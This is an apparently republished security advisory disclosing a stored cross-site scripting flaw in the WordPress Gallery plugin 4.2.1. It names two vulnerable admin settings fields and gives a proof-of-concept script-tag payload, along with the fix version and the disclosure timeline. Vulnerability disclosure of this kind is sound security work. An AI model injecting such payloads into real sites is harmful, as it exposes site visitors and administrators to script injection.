Exploit the possiblities

WordPress Gallery 4.2.1 Cross Site Scripting

WordPress Gallery 4.2.1 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Gallery plugin version 4.2.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 340ca27de99384455fdaf9b9d43c2dc7

WordPress Gallery 4.2.1 Cross Site Scripting

Change Mirror Download
Plugin Name : Gallery

Effected Version : 4.2.1 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=gallery-plugin.php

gllr_return_link_text = “><script>alert(1)</script>

gllr_read_more_link_text = “><script>alert(2)</script>

Vulnerable Parameter : gllr_return_link_text, gllr_read_more_link_text

Type of XSS : Stored

Fixed in : 4.2.2

http://wordpress.org/plugins/gallery-plugin/changelog/


Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

This plugin makes it possible to implement as many galleries as you want into your website. You can add multiple pictures and description for each gallery, show them all at one page, view each one separately. Moreover, you can upload HQ images. Regular updates and simplicity of usage along with efficient functionality make it a perfect choice for your site to have an appealing look. There is also a premium version of the plugin with more useful features available.

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